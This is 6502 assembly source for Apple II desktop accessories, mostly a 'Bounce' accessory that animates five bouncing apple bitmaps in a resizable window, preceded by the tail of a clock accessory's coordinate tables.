.word 280,298,315,333,350,366,381,395,408,419,429,437,444,449,451,452,451,449,444,437,429,419,408,395,381,366,350,333,315,298,280,261,244,226,209,193,178,164,151,140,130,122,115,110,108,107,108,110,115,122,130,140,151,164,178,193,209,226,244,261
ticks_inner1_ys:
.word 9,10,11,13,17,21,26,31,38,45,52,60,69,78,86,96,105,113,122,131,139,146,153,160,165,170,174,178,180,181,182,181,180,178,174,170,165,160,153,146,139,131,122,113,105,96,86,78,69,60,52,45,38,31,26,21,17,13,11,10
ticks_inner2_xs:
.word 280,297,313,330,346,361,375,389,401,412,421,429,435,439,442,443,442,439,435,429,421,412,401,389,375,361,346,330,313,297,280,262,246,229,213,198,184,170,158,147,138,130,124,120,117,116,117,120,124,130,138,147,158,170,184,198,213,229,246,262
ticks_inner2_ys:
.word 14,14,16,18,21,25,29,35,41,48,55,62,70,79,87,96,104,112,121,129,136,143,150,156,162,166,170,173,175,177,177,177,175,173,170,166,162,156,150,143,136,129,121,112,104,96,87,79,70,62,55,48,41,35,29,25,21,18,16,14
min_hand_xs:
.word 280,296,311,327,342,356,370,382,394,404,413,420,426,430,432,433,432,430,426,420,413,404,394,382,370,356,342,327,311,296,280,263,248,232,217,203,189,177,165,155,146,139,133,129,127,126,127,129,133,139,146,155,165,177,189,203,217,232,248,263
min_hand_ys:
.word 19,19,20,22,25,29,33,38,44,50,57,64,72,80,87,96,104,111,119,127,134,141,147,153,158,162,166,169,171,172,172,172,171,169,166,162,158,153,147,141,134,127,119,111,104,96,87,80,72,64,57,50,44,38,33,29,25,22,20,19
hour_hand_xs:
.word 280,290,299,309,319,328,336,344,351,357,363,367,371,373,375,376,375,373,371,367,363,357,351,344,336,328,319,309,299,290,280,269,260,250,240,232,223,215,208,202,196,192,188,186,184,184,184,186,188,192,196,202,208,215,223,231,240,250,260,269
hour_hand_ys:
.word 48,48,49,50,52,54,57,60,63,67,72,76,81,86,90,96,101,105,110,115,119,124,128,131,134,137,139,141,142,143,144,143,142,141,139,137,134,131,128,124,120,115,110,105,101,96,90,86,81,76,72,67,63,60,57,54,52,50,49,48
hour_base:
.byte 0,5,10,15,20,25,30,35,40,45,50,55,0,5,10,15,20,25,30,35,40,45,50,55
min_offset:
.byte 0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4
;;; ============================================================
.include "../lib/datetime.s"
str_time := * ; unused, but needed
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
lda MACHID
and #kMachIDHasClock
IF_ZERO
lda #ERR_DEVICE_NOT_CONNECTED
jmp JUMP_TABLE_SHOW_ALERT
END_IF
JSR_TO_AUX aux::Init
rts
.proc DoMLIGetTime
JUMP_TABLE_MLI_CALL GET_TIME
rts
.endproc ; DoMLIGetTime
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 13,352
|
src/desk.acc/bounce.s
|
;;; ============================================================
;;; BOUNCE - Desk Accessory
;;;
;;; Bouncing apples, vaguely inspired by Andy Hertzfeld's 1982
;;; "MacIntosh DeskTop Demo".
;;; ============================================================
.include "../config.inc"
RESOURCE_FILE "bounce.res"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
kDAWindowId = $80
kDAWidth = kScreenWidth / 2
kDAHeight = kScreenHeight / 2
kDALeft = (kScreenWidth - kDAWidth)/2
kDATop = (kScreenHeight - kMenuBarHeight - kDAHeight)/2 + kMenuBarHeight
str_title:
PASCAL_STRING res_string_window_title
.params winfo
window_id: .byte kDAWindowId
options: .byte MGTK::Option::go_away_box
title: .addr str_title
hscroll: .byte MGTK::Scroll::option_none
vscroll: .byte MGTK::Scroll::option_none
hthumbmax: .byte 32
hthumbpos: .byte 0
vthumbmax: .byte 32
vthumbpos: .byte 0
status: .byte 0
reserved: .byte 0
mincontwidth: .word kScreenWidth / 5
mincontheight: .word kScreenHeight / 5
maxcontwidth: .word kScreenWidth
maxcontheight: .word kScreenHeight
port:
DEFINE_POINT viewloc, kDALeft, kDATop
mapbits: .addr MGTK::screen_mapbits
mapwidth: .byte MGTK::screen_mapwidth
reserved2: .byte 0
DEFINE_RECT maprect, 0, 0, kDAWidth, kDAHeight
pattern: .res 8, $FF
colormasks: .byte MGTK::colormask_and, MGTK::colormask_or
DEFINE_POINT penloc, 0, 0
penwidth: .byte 1
penheight: .byte 1
penmode: .byte MGTK::pencopy
textback: .byte MGTK::textbg_white
textfont: .addr DEFAULT_FONT
nextwinfo: .addr 0
REF_WINFO_MEMBERS
.endparams
;;; ============================================================
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
;;; ============================================================
.params getwinport_params
window_id: .byte kDAWindowId
port: .addr grafport
.endparams
grafport: .tag MGTK::GrafPort
pencopy: .byte MGTK::pencopy
notpencopy: .byte MGTK::notpencopy
penXOR: .byte MGTK::penXOR
;;; ============================================================
kGrowBoxWidth = 17
kGrowBoxHeight = 7
.params grow_box_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr grow_box_bitmap
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 2, 2, 19, 9
REF_MAPINFO_MEMBERS
.endparams
grow_box_bitmap:
PIXELS "#####################"
PIXELS "#...................#"
PIXELS "#..##########.......#"
PIXELS "#..##......#######..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##......##...##..#"
PIXELS "#..##########...##..#"
PIXELS "#....##.........##..#"
PIXELS "#....#############..#"
PIXELS "#...................#"
PIXELS "#####################"
;;; ============================================================
;;; Draw resize box
;;; Assert: An appropriate GrafPort is selected.
.proc DrawGrowBox
MGTK_CALL MGTK::SetPenMode, notpencopy
sub16_8 winfo::maprect::x2, #kGrowBoxWidth, grow_box_params::viewloc::xcoord
sub16_8 winfo::maprect::y2, #kGrowBoxHeight, grow_box_params::viewloc::ycoord
MGTK_CALL MGTK::PaintBitsHC, grow_box_params
rts
.endproc ; DrawGrowBox
;;; ============================================================
;;; Animation Resources
kObjectWidth = 21
kObjectHeight = 11
.params object_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr object_bitmap
mapwidth: .byte 3
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kObjectWidth-1, kObjectHeight-1
REF_MAPINFO_MEMBERS
.endparams
object_bitmap:
PIXELS "........#...####...."
PIXELS ".........#.##......."
PIXELS "...####...#...####.."
PIXELS ".###################"
PIXELS "##################.."
PIXELS "################...."
PIXELS "################...."
PIXELS ".#################.."
PIXELS "..#################."
PIXELS "...###############.."
PIXELS "....#####...#####..."
kNumObjects = 5
object_positions:
.repeat kNumObjects, i
DEFINE_POINT .ident(.sprintf("pos%d", i)), (kDAWidth - kObjectWidth)/2, (kDAHeight - kObjectHeight)/2
.endrepeat
ASSERT_RECORD_TABLE_SIZE object_positions, kNumObjects, .sizeof(MGTK::Point)
object_deltas:
.repeat kNumObjects
.tag MGTK::Point
.endrepeat
ASSERT_RECORD_TABLE_SIZE object_deltas, kNumObjects, .sizeof(MGTK::Point)
;;; ============================================================
.proc Init
;; Generate random delta x/y in -16...15
tmp := $06
jsr InitRand
copy8 #0, tmp+1 ; hi
ldx #kNumObjects*2*2-2
DO
jsr Random
and #31
sta tmp ; lo
sub16 tmp, #16, object_deltas,x
dex
dex
WHILE_POS
MGTK_CALL MGTK::OpenWindow, winfo
jsr DrawWindow
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
JSR_TO_MAIN JUMP_TABLE_SYSTEM_TASK
MGTK_CALL MGTK::GetEvent, event_params
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
cmp #MGTK::EventKind::no_event
bne InputLoop
jmp HandleNoEvent
.endproc ; InputLoop
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
bne InputLoop
FALL_THROUGH_TO Exit
.endproc ; HandleKey
.proc Exit
MGTK_CALL MGTK::CloseWindow, winfo
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
rts
.endproc ; Exit
;;; ============================================================
.proc HandleDown
MGTK_CALL MGTK::FindWindow, findwindow_params
lda findwindow_params::window_id
cmp #kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleGrow
bne InputLoop ; always
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
MGTK_CALL MGTK::TrackGoAway, trackgoaway_params
lda trackgoaway_params::clicked
bne Exit
beq InputLoop ; always
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::DragWindow, dragwindow_params
common: lda dragwindow_params::moved
bpl finish
;; Draw DeskTop's windows and icons
JSR_TO_MAIN JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
finish: jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
.proc HandleGrow
tmpw := $06
;; Is the hit within the grow box area?
copy8 #kDAWindowId, screentowindow_params::window_id
MGTK_CALL MGTK::ScreenToWindow, screentowindow_params
sub16 winfo::maprect::x2, screentowindow_params::windowx, tmpw
cmp16 #kGrowBoxWidth, tmpw
bcc HandleDrag::finish
sub16 winfo::maprect::y2, screentowindow_params::windowy, tmpw
cmp16 #kGrowBoxHeight, tmpw
bcc HandleDrag::finish
;; Initiate the grow... re-using the drag logic
copy8 #kDAWindowId, dragwindow_params::window_id
MGTK_CALL MGTK::GrowWindow, dragwindow_params
jmp HandleDrag::common
.endproc ; HandleGrow
;;; ============================================================
.proc HandleNoEvent
jsr AnimateObjects
jmp InputLoop
.endproc ; HandleNoEvent
;;; ============================================================
.proc DrawWindow
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_NOT_ZERO ; obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::HideCursor
jsr DrawGrowBox
jsr XDrawObjects
MGTK_CALL MGTK::ShowCursor
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Caller is responsible for hiding the cursor.
.proc XDrawObjects
MGTK_CALL MGTK::SetPenMode, penXOR
pos_ptr := $06
copy16 #object_positions, pos_ptr
ldx #kNumObjects-1
DO
txa
pha
ldy #.sizeof(MGTK::Point)-1
DO
copy8 (pos_ptr),y, object_params::viewloc,y
dey
WHILE_POS
MGTK_CALL MGTK::PaintBits, object_params
add16_8 pos_ptr, #.sizeof(MGTK::Point)
pla
tax
dex
WHILE_POS
rts
.endproc ; XDrawObjects
;;; ============================================================
.proc AnimateObjects
MGTK_CALL MGTK::GetWinPort, getwinport_params
RTS_IF_NOT_ZERO ; obscured
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, penXOR
pos_ptr := $06
delta_ptr := $08
tmpw := $0A
dim := $0C
copy16 #object_positions, pos_ptr
copy16 #object_deltas, delta_ptr
ldx #kNumObjects-1
loop: txa
pha
;; --------------------------------------------------
;; Stash old coords
ldy #0
DO
lda (pos_ptr),y
pha
iny
WHILE_Y_NE #4
;; --------------------------------------------------
;; Update X coordinate and maybe delta
ldy #MGTK::Point::xcoord
add16in (pos_ptr),y, (delta_ptr),y, tmpw
scmp16 tmpw, #0
IF_NEG
copy16 #0, tmpw
ldy #MGTK::Point::xcoord
sub16in #0, (delta_ptr),y, (delta_ptr),y
END_IF
sub16 winfo::maprect+MGTK::Rect::x2, #kObjectWidth-1, dim
scmp16 dim, tmpw
IF_NEG
copy16 dim, tmpw
ldy #MGTK::Point::xcoord
sub16in #0, (delta_ptr),y, (delta_ptr),y
END_IF
ldy #MGTK::Point::xcoord
copy16in tmpw, (pos_ptr),y
;; --------------------------------------------------
;; Update Y coordinate and maybe delta
ldy #MGTK::Point::ycoord
add16in (pos_ptr),y, (delta_ptr),y, tmpw
scmp16 tmpw, #0
IF_NEG
copy16 #0, tmpw
ldy #MGTK::Point::ycoord
sub16in #0, (delta_ptr),y, (delta_ptr),y
END_IF
sub16 winfo::maprect+MGTK::Rect::y2, #kObjectHeight-1, dim
scmp16 dim, tmpw
IF_NEG
copy16 dim, tmpw
ldy #MGTK::Point::ycoord
sub16in #0, (delta_ptr),y, (delta_ptr),y
END_IF
ldy #MGTK::Point::ycoord
copy16in tmpw, (pos_ptr),y
;; --------------------------------------------------
;; Draw
;; New coords
ldy #.sizeof(MGTK::Point)-1
DO
copy8 (pos_ptr),y, object_params::viewloc,y
dey
WHILE_POS
MGTK_CALL MGTK::ShieldCursor, object_params
MGTK_CALL MGTK::PaintBits, object_params
MGTK_CALL MGTK::UnshieldCursor
;; Old coords
ldy #.sizeof(MGTK::Point)-1
DO
pla
sta object_params::viewloc,y
dey
WHILE_POS
MGTK_CALL MGTK::ShieldCursor, object_params
MGTK_CALL MGTK::PaintBits, object_params
MGTK_CALL MGTK::UnshieldCursor
;; --------------------------------------------------
;; Next
add16_8 pos_ptr, #.sizeof(MGTK::Point)
add16_8 delta_ptr, #.sizeof(MGTK::Point)
pla
tax
dex
jpl loop
rts
.endproc ; AnimateObjects
;;; ============================================================
.include "../lib/prng.s"
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
JSR_TO_AUX aux::Init
rts
DA_END_MAIN_SEGMENT
;;; ============================================================
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.